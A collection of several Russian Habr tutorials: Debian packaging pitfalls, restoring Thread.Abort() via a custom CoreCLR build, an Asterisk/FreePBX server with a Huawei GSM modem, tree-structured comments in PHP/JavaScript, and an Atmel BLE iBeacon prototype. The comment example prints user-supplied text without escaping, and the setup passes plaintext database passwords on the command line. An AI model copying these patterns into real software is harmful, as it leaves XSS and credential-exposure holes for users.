Кто-то может подумать, что всё, на этом работа завершена. Если вы действительно везунчик, то да. На практике именно на этом заканчивается простая и общая часть и начинаются индивидуальные разборки у каждого со своим пакетом. Ну-ка, промотали свой терминал назад, на процесс сборки пакета. У кого он уже совсем убежал — можете открыть свежесобранный файл darkk-redsocks\_2009013101-1\_amd64.build (у вас, разумеется, вместо amd64 будет своя архитектура), и смотрим, что нам говорит суровый цензор lintian:
> Now running lintian…
>
> W: darkk-redsocks: binary-without-manpage usr/bin/redsocks
>
> N:
>
> N: Each binary in /usr/bin, /usr/sbin, /bin, /sbin or /usr/games should
>
> N: have a manual page
>
> N:
>
> N: Note that though the man program has the capability to check for several
>
> N: program names in the NAMES section, each of these programs should have
>
> N: its own manual page (a symbolic link to the appropriate manual page is
>
> N: sufficient) because other manual page viewers such as xman or tkman
>
> N: don't support this.
>
> N:
>
> N: If the name of the man page differs from the binary by case, man may be
>
> N: able to find it anyway; however, it is still best practice to make the
>
> N: case of the man page match the case of the binary.
>
> N:
>
> N: If the man pages are provided by another package on which this package
>
> N: depends, lintian may not be able to determine that man pages are
>
> N: available. In this case, after confirming that all binaries do have man
>
> N: pages after this package and its dependencies are installed, please add
>
> N: a lintian override.
>
> N:
>
> N: Refer to Debian Policy Manual section 12.1 (Manual pages) for details.
>
> N:
>
> N: Severity: normal; Certainty: possible
>
> N:
>
> Finished running lintian.
А говорит он нам, что к бинарнику нет страницы мануала. Как известно, приличные люди должны каждый бинарник снабдить хотя бы простеньким маном, описывающим, что это такое. А у нас-то в пакете его и нету. выхода тут всегда два: первый — упросить автора программы написать ман. Второй — написать ман и либо упросить автора добавить его в программу, либо класть его в пакет самому, указывая себя в копирайтах.
Но в целом — дальше нам из работы над пакетом остаются только правки и при желании что-то исправить — вдумчивое чтение [Debian Policy](http://debian.org/doc/debian-policy/).
#### Какие еще подводные камни нас ожидают?
Самый большой и частый камень — это лицензионная чистота. Друзья мои, вы просто не представляете, сколько людей на этом напоролось. Берёте вы программу, собираете её в пакет, а debian-legal вам и говорит: «парень, а ты вообще знаешь, что файлик src/face/ob/table.cpp у вас взят из другой программы, а в копирайтах ты его не указал? А всё содержимое каталога src/super/karambol/ вообще распространяется под несвободной лицензией. Ай-ай-ай». Но допустим, вы исправили ошибку, каким-то чудом уломали автора программы написать свободный аналог вместо несвободного кода и ваш пакет включили в репозиторий. Но через неделю дотошный пользователь обнаруживает: «чувакиии, как же так. У них тут в мессенджере показываются иконки клиентов. А каждый логотип всегда распространяется под лицензией своей программы. Так что вы не имеете права класть в архив иконку несвободного клиента ICQ 6.5». Разумеется, при этих словах debian-legal хмурит очи и метким пинком выкидывает ваш уже было принятый пакет нафиг из репозитория. Именно поэтому кстати (я обещал рассказать), пакет qutIM'а снисходительно приняли в убунту, а я в Debian с ним даже не пытаюсь соваться, пока все лицензионные вопросы не будут решены. За одни только несвободные иконки меня будут гнать тапками через всё коммьюнити.
Другой крайне важной проблемой являются, как ни странно, авторы программ. Молитесь на того автора, которого вы будете легко убеждать принимать исправления, дополнения или еще что-то в апстрим. Потому что такие авторы — большая редкость. Возьмите, например, src-пакет Pidgin'а, полюбуйтесь. В нем лежит большая пачка патчей от debian-сообщества. В апстрим пиджин их не берет. А уж если вы попытаетесь что-то хорошее внести в Gnome… говорят, даже Торвальдсу это удавалось с трудом.
Еще иногда вам могут предъявить какое-нибудь неправильное размещение каталогов или отсутствие или неправильный размер/формат какой-нибудь иконки для ярлыка на программу в кедах — на это очень любит ругаться lintian, а его надо слушать в первую очередь. Но это всё достаточно легкоустранимые баги, а вот первые две проблемы — они действительно серьезные и долговечные.
На этом моменте я с вами прощаюсь аж на несколько дней, в следующий раз я вам всё-таки расскажу, как создать собственный репозиторий и, если успею, как проверять свои пакеты на кошерность при помощи pbuilder. | https://habr.com/ru/post/50716/ | null | ru | null |
# Возвращаем Thread.Abort() в .NET Core. Поставка приложения со своей версией CoreCLR и CoreFX
В процессе миграции с *.NET Framework* на *.NET Core* могут всплыть некоторые неприятные моменты. Например, если ваше приложение использует домены — логику придется переписывать. Аналогичная ситуация с *Thread.Abort()*: *Microsoft* настолько не любит эту практику (и справедливо), что сначала они объявили этот метод *deprecated*, а затем полностью выпилили его из фреймворка и теперь он вероломно выбрасывает *PlatformNotSupportedException*.
Но что делать, если ваше приложение использует *Thread.Abort()*, а вы **очень** хотите перевести его на *.NET Core*, ничего не переписывая? Ну, мы-то прекрасно знаем, что платформа очень даже поддерживает этот функционал, так что могу вас обрадовать: выход есть, нужно всего лишь собрать свою собственную версию *CLR*.
*Disclaimer: Это сугубо практическая статья с минимумом теории, призванная только продемонстрировать новые варианты взаимодействия разработчика и .NET среды. Никогда не делайте так в продакшене. Но если очень хочется...*
Сделать это стало возможным благодаря двум вещам: стремлению *Microsoft* к кроссплатформенности *.NET Core* и проделанной разработчиками работе по переносу исходников фреймворка в открытый доступ. Давайте используем это в своих интересах.
Теоретический минимум:
* *dotnet publish* возволяет нам публиковать *standalone* приложение: фреймворк будет поставляться вместе с ним, а не искаться где-то в *GAC*
* Версию *CoreCLR*, на которой будет запускаться приложение, при некоторых условиях можно задать при помощи *runtimeconfig.json*
* Мы можем собрать свой собственный *CoreFX*: [github.com/dotnet/corefx](https://github.com/dotnet/corefx)
* Мы можем собрать свой собственный *CoreCLR*: [github.com/dotnet/coreclr](https://github.com/dotnet/coreclr)
Кастомизируем CoreFX
--------------------
Прежде чем переходить к нашей основной цели — возвращению *Thread.Abort(*) — давайте для разминки поменяем что-нибудь фундаментальное в *CoreFX* чтобы проверить работоспособность всех инструментов. Например, по следам моей [предыдущей статьи](https://habr.com/ru/post/466657/) про *dynamic*, полностью запретим его использование в приложении. Зачем? Потому что мы можем.
Prerequisites
-------------
Прежде всего установим [все необходимое](https://github.com/dotnet/corefx/blob/master/Documentation/building/windows-instructions.md) для сборки:
* CMake
* Visual Studio 2019 Preview
* Latest .NET Core SDK (.NET Core 3.0 Preview)
#### Visual Studio 2019 — Workloads
**.NET desktop development**
* All Required Components
* .NET Framework 4.7.2 Development Tools
**Desktop development with C++**
* All Required Components
* VC++ 2019 v142 Toolset (x86, x64)
* Windows 8.1 SDK and UCRT SDK
* VC++ 2017 v141 Toolset (x86, x64)
**.NET Core cross-platform development**
* All Required Components
#### Visual Studio 2019 — Individual components
* C# and Visual Basic Roslyn Compilers
* Static Analysis Tools
* .NET Portable Library Targeting Pack
* Windows 10 SDK or Windows 8.1 SDK
* Visual Studio C++ Core Features
* VC++ 2019 v142 Toolset (x86, x64)
* VC++ 2017 v141 Toolset (x86, x64)
* MSBuild
* .NET Framework 4.7.2 Targeting Pack
* Windows Universal CRT SDK
Клонируем [corefx](http://ttps://github.com/dotnet/corefx):
```
git clone https://github.com/dotnet/corefx.git
```
Теперь запретим *dynamic*. Для этого откроем (здесь и далее я буду указывать относительные от корня репозитория пути)
```
corefx\src\System.Linq.Expressions\src\System\Runtime\CompilerServices\CallSite.cs
```
И в конец функции *CallSite**.Create* вставляем незамысловатый код:
```
throw new PlatformNotSupportedException("No way");
```
Возвращаемся в *corefx* и выполняем *build.cmd*. После окончания сборки, создаем в *Visual Studio* новый *.NET Core* проект со следующим содержимым:
```
public int Test { get; set; }
public static void Main(string[] args)
{
try
{
dynamic a = new Program();
a.Test = 120;
}
catch (Exception e)
{
Console.WriteLine(e);
}
//Узнаем, откуда берутся сборки
foreach (var asm in AppDomain.CurrentDomain.GetAssemblies())
{
Console.WriteLine(asm.Location);
}
}
```
Компилируем наш проект. Теперь идем в
```
corefx\artifacts\packages\Debug\NonShipping
```
и находим там пакет выглядящий примерно так: *Microsoft.Private.CoreFx.NETCoreApp.**5.0.0-dev.19465.1**.nupkg*. Открываем *.csproj* нашего проекта и вставляем туда следующие строки:
```
Microsoft.Private.CoreFx.NETCoreApp;runtime.$(RuntimeIdentifiers).Microsoft.Private.CoreFx.NETCoreApp;$(PackageConflictPreferredPackages)
```
Версия должна быть такая же, как в названии собранного пакета. В моем случае **5.0.0-dev.19465.1**.
Переходим в настройки *nuget* для нашего проекта и добавляем туда два новых пути:
```
corefx\artifacts\packages\Debug\NonShipping
corefx\artifacts\packages\Debug\Shipping
```
И снимаем галочки у всех остальных.
Переходим в папку с проектом и выполняем
```
dotnet publish --runtime win-x64 --self-contained
```
Готово! Осталось только запустить:
Работает! Библиотеки берутся не из *GAC*, *dynamic* не работает.
Make CoreCLR Great Again
------------------------
Теперь перейдем ко второй части, возвращению *Thread.Abort()*. Здесь нас ждет неприятный сюрприз: имплементация *Thread* лежит в *CoreCLR*, который не является частью *CoreFX* и предустанавливается на машину отдельно. Сперва создадим демонстрационный проект:
```
var runtimeInformation = RuntimeInformation.FrameworkDescription;
Console.WriteLine(runtimeInformation);
var thr = new Thread(() =>
{
try
{
while (true)
{
Console.WriteLine(".");
Thread.Sleep(500);
}
}
catch (ThreadAbortException)
{
Console.WriteLine("Thread aborted!");
}
});
foreach (var asm in AppDomain.CurrentDomain.GetAssemblies())
{
Console.WriteLine(asm.Location);
}
thr.Start();
Thread.Sleep(2000);
thr.Abort();
```
Выкачиваем [coreclr](https://github.com/dotnet/coreclr). Находим файл
```
coreclr\src\System.Private.CoreLib\shared\System\Threading\Thread.cs
```
И заменяем *Abort()* на
```
[SecuritySafeCritical]
[SecurityPermissionAttribute(SecurityAction.Demand, ControlThread = true)]
public void Abort()
{
AbortInternal();
}
[System.Security.SecurityCritical] // auto-generated
[ResourceExposure(ResourceScope.None)]
[MethodImplAttribute(MethodImplOptions.InternalCall)]
private extern void AbortInternal();
```
Теперь нам нужно вернуть атрибуты и *с++* имплементацию. Я собрал её по кусочкам из различных открытых репозиториев *.NET Framework* и для удобства оформил все изменения в виде [пулл-реквеста](https://github.com/Lelushak/coreclr/commit/8352591857829c060878c314d81d938f499a3258).
*Note: при сборке возникали проблемы с ресурсами в «новых» атрибутах, которые я
«исправил» заглушками. Учитывайте это, если захотите использовать этот код где-либо, кроме домашних экспериментов*
После интеграции этих изменений в код, запускаем *build.cmd* из *coreclr*. Сборка на поздних этапах может начать сыпать ошибками, но это не страшно, нам главное чтобы смог собраться *CoreCLR*. Он будут лежать в:
```
coreclr\bin\Product\Windows_NT.x64.Debug
```
### Простой путь
Выполняем
```
dotnet publish --runtime win-x64 --self-contained
```
Файлы из *Windows\_NT.x64.Debug* скидываем в папку с опубликованным приложением.
### Сложный путь
Как только библиотеки собрались, переходим в
```
C:\Program Files\dotnet\shared\Microsoft.NETCore.App
```
и клонируем папку 3.0.0. Назовем её, например, 5.0.1. Скопируем туда все, что лежит в *Windows\_NT.x64.Debug*, кроме папок. Теперь наша версия *CoreCLR* будет доступна через runtimeconfig.
Собираем наш проект. Добавляем в *.csproj*:
```
true Microsoft.Private.CoreFx.NETCoreApp;runtime.$(RuntimeIdentifiers).Microsoft.Private.CoreFx.NETCoreApp;$(PackageConflictPreferredPackages)
```
Повторяем манипуляции с *nuget* из предыдущей части статьи. Публикуем
```
dotnet publish --runtime win-x64 --self-contained
```
В *runtimeconfig.json* впишем следующую конфигурацию:
```
{
"runtimeOptions": {
"tfm": "netcoreapp3.0",
"framework": {
"name": "Microsoft.NETCore.App",
"version": "5.0.1"
}
}
}
```
Результат
---------
Запускаем!
Магия произошла. Теперь в наших *.NET Core* приложениях снова работает *Thread.Abort()*. Но, разумеется, только на *Windows*. | https://habr.com/ru/post/467475/ | null | ru | null |
# Поднимает телефонию с нуля: Asterisk, FreePBX, GSM-шлюз на Huawei E173 в Debian
Сначала маленькая предыстория. Не так давно наша фирма практически лишилась городской связи, один телефонный оператор, что-то не поделил с другим и в результате между ними перестали проходить звонки. Было принято решение, раз уж так произошло полностью отказаться от обычной телефонной связи и полностью перейти на ip-телефонию.
Постановка задачи:
1) Организовать телефонную связь;
2) Запись разговоров;
3) Очередь звонков;
4) Голосовое меню;
5) GSM-шлюз, так-как должны обрабатываться и звонки с мобильных операторов.
6) Минимальная стоимость решения, так как ситуация форс-мажорная и бюджет выделен не был.
Никогда раньше я с телефонией не работал, задача встала срочная, попытаюсь подробно рассказать как ее решал лично я, про грабли на которые наступил, если что сделано не совсем оптимально или вообще криво буду благодарен за исправления и дополнения, и так поехали.
##### Выбор платформы.
Первым делом решил посмотреть готовые сборки, указанные на сайте [asterisk.ru](http://asterisk.ru/installation), были скачаны готовые образы AsteriskNOW, FreePBX, Elastix, про остальные просто прочитана документация. TrixBox был сразу откинут из-за своей платности, так как противоречил 6 пункту. AsteriskNOW показался сыроватым и не доработанным, FreePBX, Elastix понравились оба, логичные и удобные сборки, но не захотели дружить с имеющимся в наличии модемом Huawei E173, а также были собраны на CentOS с достаточно старым ядром и не вписывались в общий парк серверов на Debian. Принял решение собирать все с нуля, тем самым получив бесценный опыт.
##### Сборка рабочего окружения, связывание элементов и настройка.
Итак имеем свежеустановленный Debian 6 Squeeze, минимальная установка.
**Добавляем необходимые в дальнейшем репозитории в**
```
/etc/apt/sources.list
```
```
deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free
deb http://www.deb-multimedia.org stable main non-free
deb http://packages.dotdeb.org squeeze all
deb-src http://packages.dotdeb.org squeeze all
deb http://repos.zend.com/zend-server/deb server non-free
```
**Устанавливаем ключи**
```
apt-get update && apt-get install deb-multimedia-keyring
wget http://www.dotdeb.org/dotdeb.gpg -O- |apt-key add -
wget http://repos.zend.com/zend.key -O- |apt-key add -
```
**Обнобляемся.**
```
apt-get update && apt-get upgrade
```
**Из бэкпортов ставим свежее ядро, которое необходимо для корректной работы GSM модема**
```
apt-get install -t squeeze-backports linux-image-3.2.0-0.bpo.3-amd64
apt-get install -t squeeze-backports linux-headers-3.2.0-0.bpo.3-amd64
```
**Перезагружаемся**
```
reboot
```
###### Ставим web сервер.
Так как нагрузка на веб сервер планируется разовая и небольшая, было лень ставить отдельно apache + php + нужные модули, решил воспользоваться неплохой, на мой взгляд, сборкой [Zend Server CE.](http://www.zend.com/products/server/)
Ставить будем все и сразу.
```
aptitude install zend-server-ce-php-5.3 php-5.3-source-zend-server control-panel-zend-server bison libaudiofile-dev libssl-dev checkinstall mpg123 libmpg123-0 libmpg123-dev xmms2-plugin-mpg123 mysql-server libmysqlclient15-dev php-db php-pear sox curl g++ libncurses-dev libxml2-dev subversion libspandsp-dev lame libmp3lame-dev
```
**Настройка веб-сервера Zend**
```
echo "PATH=$PATH:/usr/local/zend/bin" >> /etc/profile
echo "LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/zend/lib" >> /etc/profile
source /etc/profile
chown zend:adm -R /var/log/apache2/
mkdir /var/www/freepbx/
adduser asterisk --disabled-password --gecos "Asterisk PBX"
```
Изменяем пользователя из под которого работает апач, на asterisk.
```
sed -i "s/\(^User *\)\(.*\)/\1asterisk/" /etc/apache2/apache2.conf
sed -i "s/\(^Group *\)\(.*\)/\1asterisk/" /etc/apache2/apache2.conf
```
Изменяем параметры php (можно через специальную админку сервера, доступную по ссылке \_https://IP:10082/ZendServer или \_http://IP:10081/ZendServer.).
```
post_max_size = 32M
max_execution_time = 60
max_input_time = 60
memory_limit = 256M
upload_max_filesize = 16M
date.timezone = "Europe/Kiev"
```
###### Скачиваем необходимые исходники
```
cd /tmp
wget http://downloads.asterisk.org/pub/telephony/asterisk/asterisk-1.8.15.1.tar.gz
tar xvzf asterisk-1.8.15.1.tar.gz
wget http://mirror.freepbx.org/freepbx-2.9.0.tar.gz
tar xvzf freepbx-2.9.0.tar.gz
wget http://downloads.asterisk.org/pub/telephony/libpri/libpri-1.4.12.tar.gz
tar xvzf libpri-1.4.12.tar.gz
wget http://downloads.asterisk.org/pub/telephony/dahdi-linux-complete/dahdi-linux-complete-2.6.1+2.6.1.tar.gz
tar xvzf dahdi-linux-complete-2.6.1+2.6.1.tar.gz
```
Собираем их для удобства дальнейшего обновления сразу в пакеты.
```
cd libpri-1.4.12/
make
checkinstall -D
cd /tmp/dahdi-linux-complete-2.6.1+2.6.1/
make all
mkdir /etc/hotplug
mkdir /etc/hotplug/usb/
mkdir /etc/dahdi
checkinstall -D
make config
```
Отключаем ненужные модули, вообще мне dahdi был не нужен, но на форумах и в документации советуют все равно собирать с ним.
```
nano /etc/dahdi/modules
/etc/init.d/dahdi start
cd /tmp/asterisk-1.8.15.1/
```
если планируем включить mp3 выполняем
```
./contrib/scripts/get_mp3_source.sh
```
если нет, сразу
```
./configure
make menuselect
```
Включаем в menuconfig следующие опции;
app\_mysql, app\_saycountpl, cdr\_mysql, format\_mp3, res\_config\_mysql, EXTRAS-SOUNDS-EN-GSM EXTRAS-SOUNDS-RU-GSM (нужные кодеки и языки) ну и другие нужные опции.
```
make
checkinstall -D
make config
make samples
```
Если получили ошибку не существующей директории
```
mkdir /var/lib/asterisk/phoneprov
```
и снова
```
make samples
```
Создаем и заполняем базу данных необходимую для FreePBX
```
cd /tmp/freepbx-2.9.0
mysqladmin -uroot create asterisk -p'Password'
mysqladmin -uroot create asteriskcdrdb -p'Password'
mysql -uroot -p'Password' asterisk < SQL/newinstall.sql
mysql -uroot -p'Password' asteriskcdrdb < SQL/cdr_mysql_table.sql
mysql -uroot -pPassword # Password - Ваш пароль для рутового пользователя MySQL
```
```
GRANT ALL PRIVILEGES ON asteriskcdrdb.* TO asteriskuser@localhost IDENTIFIED BY 'amp109'; # amp109 - Ваш пароль для пользователя asteriskuser в MySQL
GRANT ALL PRIVILEGES ON asterisk.* TO asteriskuser@localhost IDENTIFIED BY 'amp109'; # amp109 - Ваш пароль для пользователя asteriskuser в MySQL
flush privileges;
quit;
```
Запускаем Астериск перед установкой FreePBX
```
/etc/init.d/asterisk start
```
Конфигурируем FreePBX для работы с Asterisk:
```
cd /tmp/freepbx-2.9.0
pear install DB
./install_amp
```
Используем все параметры по умолчанию только путь задаем **/var/www/freepbx/**, который мы создали ранее.
Теперь небольшое отступление, на сайте [FreePBX](http://www.freepbx.org/download-freepbx) доступна версия freepbx-2.10.0, но ее инсталятор под Debian вел себя очень странно, пришлось наложить несколько патчей из багрепортов, но дальнейшее его поведение также не понравилось и было принято решение использовать freepbx-2.9.0 для установки, а потом обновиться. После успешной установки заходим на веб интерфейс по адресу \_http://IP-сервера/freepbx и обновляем систему, процесс обновления хорошо описан в самом интерфейсе и вынесена отдельная ссылка, так что подробно останавливаться на этом не буду, обновление проходит быстро и гладко и через 10 минут имеем у себя последнюю версию системы.
##### Прикручиваем модем huaway E173
*Модем был предварительно разлочен на всех операторов и в нем были разблокированы голосовые функции.* На этом моменте подробно останавливаться не буду, все достаточно тривиально и не входит в описываемую тему, но если кому интересно отвечу.
Для определения вменяемого имени модема
```
apt-get install -t squeeze-backports usb-modeswitch usb-modeswitch-data
```
Вставляем модем и выполняем
```
dmesg | tail
```
Получаем вывод похожий на
```
[ 303.594149] usb 1-7: New USB device found, idVendor=12d1, idProduct=1001
[ 303.594155] usb 1-7: New USB device strings: Mfr=3, Product=2, SerialNumber=0
[ 303.594158] usb 1-7: Product: HUAWEI Mobile
[ 303.594161] usb 1-7: Manufacturer: HUAWEI Technology
[ 303.596731] option 1-7:1.0: GSM modem(1-port) converter detected
[ 303.596968] usb 1-7: GSM modem (1-port) converter now attached to ttyUSB0
[ 303.597241] option 1-7:1.1: GSM modem (1-port) converter detected
[ 303.597373] usb 1-7: GSM modem (1-port) converter now attached to ttyUSB1
[ 303.597584] option 1-7:1.2: GSM modem (1-port) converter detected
[ 303.597716] usb 1-7: GSM modem (1-port) converter now attached to ttyUSB2
```
Если не заработало, выясняем идентификатор устройства:
```
lsusb
```
```
Bus 002 Device 050: ID 12d1:140c Huawei Technologies Co., Ltd.
```
Проверяем наличие файла «12d1:\*» в **/etc/usb\_modeswitch.d**, в одном из файлов
должно быть упоминание продукта «1446». Например:
```
# Huawei E270+ (HSPA+ modem)
DefaultVendor= 0x12d1
DefaultProduct=0x1446
TargetVendor= 0x12d1
TargetProductList="1001,1406,140c,14ac"
CheckSuccess=20
MessageContent="55534243123456780000000000000011060000000000000000000000000000"
```
Если файла нет, то его можно создать по вышеприведенному примеру, просто изменив DefaultProduct на:
```
DefaultProduct= 0x140c
```
Перегружаемся, после чего модем имеет вменяемое имя, продолжаем связывать его с Asterisk
```
svn co https://www.makhutov.org/svn/chan_datacard/trunk/ /tmp/chan_datacard
cd /tmp/chan_datacard
automake
./configure
cp etc/datacard.conf /etc/asterisk/
```
Настраиваем параметры модуля под наш модем:
```
nano /etc/asterisk/datacard.conf
```
в самом низу конфигурационного файла удаляем все данные (Ctrl+k) после последней черты и вставляем данный конфиг
```
[000101]
context=from-gsm ; context для входящих звонков
audio=/dev/ttyUSB1 ; tty порт для аудио подключения
data=/dev/ttyUSB2 ; tty порт для управляющих AT комманд модема
group=1 ; Группа вызова
rxgain=10 ; Изменение громкости динамика
txgain=-5 ; Изменение громкости микрофона
autodeletesms=yes ; auto delete incoming sms
resetdatacard=yes ; reset datacard during initialization
u2diag=256 ; set U2DIAG parameter (256 = включить модем и кард ридер)
usecallingpres=yes ; use the caller ID presentation or not
callingpres=allowed_passed_screen ; set caller ID presentation
```
записываем изменения Ctrl+O и выходим из редактора nano Ctrl+X
Создаем контент в диалплане (Не забываем выключить пинкод на SIM):
```
nano /etc/asterisk/extensions_custom.conf
```
```
[from-gsm]
exten => s,1,Set(CALLERID(all)=${CALLERID(num)})
exten => s,n,Set(CALLERID(num)=8${CALLERID(num):2})
exten => s,n,goto(from-trunk,${IMEI},1)
```
Перезапускаем Asterisk
```
service asterisk restart
```
Проверка состояния модема:
```
asterisk -r
```
```
datacard show devices
```
```
cam*CLI> datacard show devices
ID Group State RSSI Mode Submode Provider Name Model Firmware IMEI IMSI Number
000101 1 Free 23 0 0 DJUICE E173 11.126.16.04.174 867767ХХХХХХХ 255030580735317 +38097ХХХХХХХ
```
Теперь в админке FreePBX добавляем маршруты для этого модема.
**Исходящий маршрут:**
В веб интерфейсе (FreePBX 2.10) — Connectivity — > Trunks -> Add Custom Trunk
Trunk name — Пишем имя чтоб не забыть например GSM-modem
Последний пункт — Custom dial string — указать
```
datacard/i:00000000000000/$OUTNUM$
```
где 0000000000000 — IMEI модема (виден в предыдущем пункте).
В веб интерфейсе (FreePBX 2.10) — Connectivity -> Outbound routes -> ADD route
Назвать например Outbound (Исходящий)
match patern ->. (ставим точку в это поле),
в Trunk Sequence for Matched Routes выбираем наш транк.
**Входящий маршрут:**
В веб интерфейсе (FreePBX 2.10) — Connectivity -> Inbound routes -> ADD Incoming route
Назвать например Inbound (Входящий)
Номер DID -> 0000000000000 (IMEI модема)
в 'Set destination' выбрать получателя звонков, поступающих на модем.
**Включаем русскоязычную озвучку для протоколов, например для SIP, через WEB-интерфейс**
Settings -> Asterisk SIP Settings -> language -> ru
**Создаем скрипт автозапуска FreePBX: /etc/init.d/amportal-startup**
```
#!/bin/sh
# /etc/init.d/amportal-startup
#
### BEGIN INIT INFO
# Provides: Asterisk
# Required-Start: $remote_fs $syslog $all
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start Asterisk at boot time
# Description: Enable Asterisk.
### END INIT INFO
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
export PATH
case "$1" in
start)
amportal start
;;
stop)
amportal stop
;;
*)
echo "Usage: /etc/init.d/amportal-startup {start|stop}"
exit 1
;;
esac
exit 0
```
Даем ему права на выполнение
```
chmod +x /etc/init.d/amportal-startup
```
Добавляем в автозагрузку.
```
insserv amportal-startup
```
FreePBX частично переведен на русский язык, но его включение у меня изначально не работало, чтоб его починить проделываем следующие манипуляции.
Исправляем файлик **/usr/share/locale/locale.alias**
Удаляем строку с кодировкой для russian и добавляем 3 строки вместо нее:
```
russian ru
ru ru_RU
ru_RU ru_RU.UTF-8
```
затем перегенерируем локаль
```
locale-gen ru_RU.utf8
```
и все начинает работать.
На этом рабочий день закончился, остальная работа перенесена на завтра, прошу прощения за некоторый сумбур в мыслях, пишу по горячим следам и приятным чувством что система заработала, совершила тестовый звонок с модема и приняла вызов на модем, связь чистая, описание настройки продолжу по мере включения и проверки.
Для настройки использовал документацию с сайтов [FreePBX](http://www.freepbx.org/), [asterisk-pbx](http://asterisk-pbx.ru/wiki/doku.php/soft), [blog.911.in.ua](http://blog.911.in.ua/2010/09/ip-asterisk-freepbx-debian-lenny.html), официальная документация проектов и поисковые системы.
UPD. [Продолжение](http://habrahabr.ru/post/154933/) от моего коллеги. | https://habr.com/ru/post/151011/ | null | ru | null |
# Организуем древовидные комментарии к статьям c помощью JavaScript
Сразу оговорюсь, что не являюсь профессиональным web-разработчиком, а занимаюсь этим just for fun, а также для саморазвития.
Потребовалось реализовать в моих разработках возможность комментирования. Простые структуры комментариев меня уже не интересуют, поэтому захотелось *древовидности*.
На первых порах старался реализовать ее самостоятельно, но потом решил обратиться к ресурсам интернета за *чертежами изобретенных колес* )))
Наиболее интересные ресурсы, попашиеся мне на глаза ([1](http://www.opennet.ru/base/dev/mysql_tree.txt.html), [2](http://xpoint.ru/know-how/Articles/StrukturaUzlaSistemaNavigatsii), [3](http://www.ibase.ru/devinfo/treedb.htm), [4](http://ru.wikipedia.org/wiki/Древовидная_структура)), можно почитать для общего развития.
Как правило, большинство предлагаемых идей требуют существенных изменений имеющихся баз данных и логики работы приложения.
Поэтому решил заняться *изобретением колеса своей оригинальной формы*. К сожалению, у меня не получилось обеспечить стабильную и правильную работу по выводу древовидных коментариев только лишь с помощью серверных скриптов и баз данных. Но получилось по другому…
Идея пришла, как всегда внезапно. Для вывода полноценного дерева комментариев потребовались (в моем случае):
* Таблица в MySQL со следующими именами полей: id (int), parent (int), author (text), comment (text). Первое поле — уникальный id комментария, второе — parent — id комментария родителя, третье — author — имя комментирующего, четвертое — comment — собственно сам комментарий.
* PHP
* Браузер с включенным JavaScript и знающий о DOM. О DOM почитать можно здесь: <http://javascript.ru/start/dom/intro>
Как получать данные из таблиц БД говорить небуду, перейду сразу к php-функции вывода комментария (в упрещенном виде):
`function show_comment($id,$parent,$author,$comment) {
echo "$author: $comment";
}`
О передаваемых параметрах можно догодаться, взглянув на предложенную структуру таблицы.
Затем, вызывая эту функцию для каждого комментария из БД, передадим этот список (неупорядоченный!) браузеру.
Теперь самое интересное. Браузер сам в состоянии расставить комменатрии в «дерево». Для этого необходимо вызвать javascript-функцию на стороне пользователя, передав ей два параметра — id комментария, и parent — id комментария-«родителя»:
`document.getElementById("comment"+parent).appendChild(document.getElementById("comment"+id));`
Если же комментарий не имеет родителя (parent=0), то он будет являться корневым.
Таким образом, комментрии будут расставлены в дерево браузером пользователя, что снизит нагрузку с сервера и упростит структуру БД и серверных скриптов. Но при этом возрастает нагрузка на браузер, так что приходится выбирать… | https://habr.com/ru/post/49668/ | null | ru | null |
# Делаем iBeacon и Eddystone Beacon «на коленке»
iBeacon и Eddystone — это сервисы Apple и Google соответственно, использующие BLE (Bluetooth Low Energy) для локального позиционирования внутри помещений. Базовый принцип у обоих сервисов одинаков, отличается лишь формат передаваемых данных. Маяк (передатчик) периодически, с интервалом от долей секунды до нескольких секунд, передаёт пакеты стандарта Bluetooth LE, которые содержат помимо заголовка дополнительную информацию. Технология не предназначена для точного определения положения в помещении, а лишь для фиксирования момента приближения на некоторое близкое расстояние к маяку.
Классический пример использования маяков — музеи. Приходя в музей, вы устанавливаете на смартфон специальное приложение и отправляетесь осматривать экспозицию. Приближаясь к экспонату (маяку) на некоторое расстояние, смартфон это фиксирует и выводит на экран экскурсионную информацию.
В продаже можно найти немало готовых маяков, но сегодня мы соберем прототип собственного маяка (как iBeacon, так и Eddystone) на микроконтроллере SAML21 и BLE модуле BTLC1000 от Atmel.
#### Железо
Bluetooth будем реализовывать на базе платы расширения [ATBTLC1000-XPRO](http://www.atmel.com/tools/ATBTLC1000-XPRO.aspx) с данным модулем. В качестве хоста используем микроконтроллер ATSAML21J18B, установленный на отладочной плате [ATSAML21-XPRO-B](http://www.atmel.com/tools/ATSAML21-XPRO-B.aspx)
#### Генерируем пример для iBeacon
Для этого заходим на страницу [Atmel | Start](http://start.atmel.com/) — Web конфигуратор кода для микроконтроллеров Atmel. В одной из наших прошлых статей мы уже писали об использовании этого инструмента. На главной странице нажимаем кнопку **Browse All Examples** и в открывшемся окне выбираем отладочную плату **SAM L21 Xplained Pro**, а в поиске набираем строку ***ibeacon***. Выбираем пример **BLE Simple-BTLC1000** и жмем кнопку **Open Selected Project**:
Получившаяся по умолчанию конфигурация по-идее соответствует железу и менять тут ничего не нужно. На всякий случай, можно сравнить результат со скриншотом и жмем кнопку **EXPORT PROJECT** в правом верхнем углу экрана:
Ставим галочку напротив пункта **Makefile (standalone)**, переименовываем проект и жмем кнопку **DOWNLOAD PACK**:
В результате скачивается файл с расширением **\*.atzip**. В принципе это обычный архив, в котором хранится проект для Atmel Studio. Открываем файл (он должен быть ассоциирован со студией) и ждем пока запустится проект. В открывшемся диалоге меняем при желании имя проекта и путь к папке с проектом и жмем ОК:
Ждем пока проект сформируется.
#### Пробный запуск
В принципе, пример «из коробки» уже работает как iBeacon. Пробуем скомпилировать проект кнопкой F7.
Если компиляция прошла успешно можно залить проект в микроконтроллер для первых тестов. Рекомендую предварительно запустить терминальную программу для мониторинга дебажной информации. Встроенный отладчик EDBG определяется в системе в том числе и как виртуальный COM-порт, к которому подключен один из SERCOM'ов микроконтроллера
Запускаем свою любимую терминалку, ставим скорость 115200 и галочку DTR.
Жмем кнопку F5 для того чтобы залить прошивку. Если заливаете в первый раз, появится сообщение с просьбой выбрать используемый программатор:
В диалоговом окне указываем наш отладчик:
Жмем еще раз F5 и ждем пока запрограммируется контроллер и начнет исполняться программа. Если всё сделано правильно, в терминалке должны увидеть следующую информацию:
